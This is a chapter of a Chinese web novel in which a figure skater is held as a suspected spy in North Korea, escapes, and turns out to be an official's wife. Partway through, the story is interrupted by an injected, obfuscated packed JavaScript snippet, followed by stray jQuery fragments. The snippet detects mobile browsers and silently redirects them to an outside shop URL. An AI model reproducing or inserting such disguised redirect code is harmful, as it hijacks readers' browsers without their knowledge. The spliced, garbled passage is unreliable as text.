26. 第二十六章

作品:《微酸

    他们把她摁到审讯室的椅子上,她试图跟身边的士兵解释。


    “我不是间谍,我是中国国家队运动员,你们有没有人看过冬奥会?”


    鸦雀无声,显然这里没有人看过冬奥会,还有人完全不知道冬奥会是什么。


    没人回应,更没人审讯她,是在等过来。


    “我有合法的准入境文件,是你们领导亲自签字的文件。”


    听到领导两个字,总算有个士兵跟她说话了,声音冷硬:“文件在哪儿?”


    江逢棠眼睛一亮,看着那个回应她的士兵,仿佛抓住了一根救命稻草。


    “在我包里,”对了,她出门的时候只带了手机,“包在酒店房间里,我可以回去拿,拿来给你们看。”


    士兵完全不信任她的话,间谍会找到各种理由欺骗他们,伺机从他们手里逃走。


    抓到一个间谍是大功一件,让她跑了,就要接受军队惩罚。


    “让你i回去?不可能,你这种伎俩太拙劣了。”


    之前就有间谍趁着上厕所的时间逃跑的,他们现在对待可疑分子,非常谨慎。


    江逢棠不能坐以待毙,她眼珠一转,马上又找到一个自救的方法。


    “我可以不出去,让人来送总可以了吧,我打个电话,让我的队友把我的护照和文件给你们拿过来。”


    士兵犹豫了一下,或许觉得这在可控范围内,示意旁边拿着她手机的士兵把手机还给她。


    江逢棠颤抖着手接过手机,立刻拨通步萌的电话。


    铃声响了很久才被接起来,背景音杂乱,像是在什么人很多的地方。


    江逢棠语速很快,尽量让自己的声音听起来没有那么慌张害怕,她怕吓到步萌,“我的包在房间里,你帮我拿到......”


    她刚垂下眼眸琢磨怎么跟步萌说清楚自己所在的位置,步萌声音仓促地打断她:“棠姐,对不起我现在在医院,尹俊纶不小心掉进海里,头撞到石头,刚醒来,医生叫我呢,我先挂了。”


    电话被匆忙挂断,只剩下忙音。


    士兵逼问她:“你的朋友在医院?这么巧,你不是在拖延时间等救兵吧,还是在跟你的同伙传递被捕的暗号?”


    江逢棠没有理会他的话,低着头拿着手机,急切地在通讯录里寻找高昱洋的电话,手指紧张到颤抖,滑动屏幕的时候一不小心误触到快捷拨号键,屏幕立刻显示正在呼叫名为love的联系人。


    电话刚拨出去两秒,旁边的士兵不由分说伸手夺过她的手机,毫不犹豫地按下红色的挂断键。


    “已经给过你机会了,我们的耐心是有限的,在查清你的身份之前,你哪儿也去不了,谁也别想联系,你的手机我们会暂时替你保管。”


    平壤,某栋办公楼下。


    宋秉宪刚坐进自己的私人车,习惯性地想查看手机确认时间,手伸进裤兜摸了个空,他眉头一皱,推门下车回到办公室。


    不知为何他心跳比往常跳得更快,步履不得已加快,像是有什么事情会发生。


    黑色手机被他遗忘在办公室的桌子上,他一把抓起,屏幕亮起,未接电话赫然出现在他的眼里,备注是江逢棠。


    他没有犹豫,立刻回拨过去。


    听筒里传来陌生的女音:“您拨打的用户已关机.......”


    他脸色一沉,握着手机的手指收紧,转身下楼,步伐比刚才上楼的时候更快,楼梯上擦肩而过的下属跟他问好,他像是没听见似的,不理会,往常他都会点点头的。


    下楼后,他没有开自己的车,而是目光一扫,落在旁边一辆正要启动的轿车上。


    他毫不犹豫拉开车门,驾驶座上的年轻下属吓了一跳,紧张起来,脑子里把近三年做过的工作都想了一遍,没差错没偷懒,还是不放心。


    下属赶紧从车上下来,“指导员?”


    “这辆车我借用了,你去开我的车。”


    他把车钥匙丢给下属,迅速弯腰上车,连安全带都没有系上,反手带上车门,打转方向盘,车子低吼一声,飞驰而去。


    车辆很快驶近平壤的主要关卡,远远看到哨卡,宋秉宪并未减速,站在岗上的哨兵准备上前理性检查,但当手里的手电筒照向车牌的时候,哨兵脸色严肃,赶紧升起拦车杆,接着挺直身体,抬起手臂,敬了一个标准的军礼。


    宋秉宪紧抿着唇,下颚线紧绷着,目光紧缩前方不断延伸的公路,他这个车速,算不上安全,脚下的油门却踩得更深了,已经踩到底了。


    负责审问江逢棠的是一位少尉,戴着黑窄框眼镜,文质彬彬,有点日系男高的感觉,跟她想象的不一样。


    他的态度也不凶,反倒很客气,公事公办,翻开笔记本,手里拿着钢笔。


    “姓名,国籍,来朝鲜的目的,请如实交代。”


    江逢棠回答完他的问题,话还是很多,“长官,我不是间谍,我是运动员,您不认识我吗?很多花滑比赛我都有参加。”


    少尉抬眼仔细看他几眼,推了推鼻梁上的眼镜,眼神是陌生的,摇摇头。


    “抱歉,我对体育项目不感兴趣,我在国外留学主修英国文学。”


    江逢棠感到头疼,搜寻着脑袋里仅有的英国文学内容,拉近关系,或许他会放她离开。


    她忽然看到他手里的钢笔,派克真空标准版,经典的叠纹笔杆,琥珀色的墨窗。


    上世纪三十年代的经典设计,常常出现在那些钟情于老派英伦风范的文人手里,她为什么认得,宋秉宪也有一只同样的钢笔。


    “你看过霍华德庄园这本书吗?”


    少尉抬起头,镜片后的眼睛里闪过一丝惊讶,没想到在这里还能有人跟他谈论英国文学。


    他点点头,“唯有将平凡与激情相连......”


    他说的应该是这本书里的台词对话,江逢棠大胆猜测,她没看过这本书,但是这本书出现在宋秉宪的手里过,她只看了一眼封面。


    “我很喜欢。”她表态。


    少尉有所触动,本子上什么东西也没记录,只有她的姓名和国籍。


    旁边的士兵忍不住低声提醒,听不懂两人在说什么,但是不像是审问。


    “少尉,这个女人是间谍。”


    “你觉得,她像吗?”少尉目光停留在江逢棠的脸上,反问身边的士兵。


    士兵看了看江逢棠靓丽的脸,犹豫了一下,低声说:“长官说过,越是漂亮的女人,越是可能是间谍。”


    少尉沉吟片刻,作出决定:“这样吧,先关押两天,我会联系咸兴的涉外部门,核实她的身份。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162172|196086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “不行,”江逢棠急了,“我不能被关在这里,我来元山只有三天假期,明天就得返回训练基地,我的教练是个很固执的人,如果我不能按时回去,会被重罚的。”


    少尉无可奈何,“你和我谈论文学,我很高兴,但是私自放你走,我没有这个权利,规定就是规定。”


    江逢棠知道硬扛不行,心生一计,捂住腹部,脸上露出不适的表情:“我想去洗手间,这总可以吧。”


    士兵立刻拒绝:“不行。”


    少尉摆了摆手:“带她去,看着她。”


    士兵无奈,只好背着长枪,带着江逢棠走出审讯室,外面又一个独立的厕所,相隔甚远。


    走到僻静处,江逢棠看准士兵走神松懈,猛地用肘部撞击他的身体,士兵吃痛闷哼,手下意识松开,她夺走了他的长枪。


    但她根本不会用枪,沉甸甸的铁疙瘩在她手里什么用也没有,她夺过来,并不是犯傻,而是自保。


    她边跑,边把枪丢下陡峭的山坡,步枪滚落下去,谁也别想用。


    士兵在她身后追,大喊:“站住,别跑。”


    江逢棠转身往树林深处跑,士兵忍痛追赶她,几步就抓住了她,她不熟悉这里的路,只能按照原路返回,士兵猜到了。


    两人撞在一起,江逢棠拼命挣扎,手脚并用,又抓又踢,士兵试图将她制服,两人在泥地和落叶堆里扭打起来。


    被抓回去,待遇远不如之前,她被关进一个小屋里,小屋没有灯,堆着一些杂物,到处都是灰尘,高处墙壁上有不足半米的正方小窗。


    她手臂和膝盖上有很多擦伤,火辣辣地疼,但她不能坐下,她得想办法离开,她注意到那扇窗,很小,但是她有把握从窗户钻出去。


    她不顾身上的疼,费力地将那些沉重的木箱和空油桶拖拽到小窗下方,箱子摞在油桶上,摇摇晃晃,她小心翼翼地爬上去,伸手比划,还是够不到。


    她又去找,几个破旧的麻袋垫在最底下,能摞起来的东西都摞起来了,堆成一个岌岌可危的高台。


    她爬上去,又摔下来,油桶木箱滚落一地,砸在她的脚上,她吃痛地闷哼一声,迅速捂住嘴。


    军事基地的一间敞亮房屋里,大尉军官接了一通电话,脸色惨白,额头上渗出冷汗。


    他放下话筒,冲着门外大吼,“今天是不是抓了一个女人,在哪儿?”


    士兵慌忙跑进来立正敬礼,“报告大尉,正要跟您禀报,我们抓了一个疑似间谍的亚洲女人。”


    “人呢?现在人在哪儿,带我过去。”大尉一把抓住士兵的衣领,迈步出去。


    士兵带着大尉来到小屋,门锁完好,但是打开门的瞬间,两人都愣住,屋里一个人也没有。


    一堆胡乱摞起的箱子和空油桶,还有几个破麻袋,几滴鲜红的血滴在麻袋上,在昏暗里是深黑色的。


    大尉转头质问身后的士兵:“人呢?”


    士兵也慌了神,下意识地请示:“我立刻组织搜索,发现后就地枪毙。”


    大尉一巴掌狠狠扇在士兵的头盔上,吼道:“我TM先枪毙你,你知道抓的是谁吗,啊?”


    “那是宋先生的夫人,是咱们能抓的人吗,她能是间谍吗,还不赶紧给我去找,你最好祈祷她没事,不然你就是间谍。”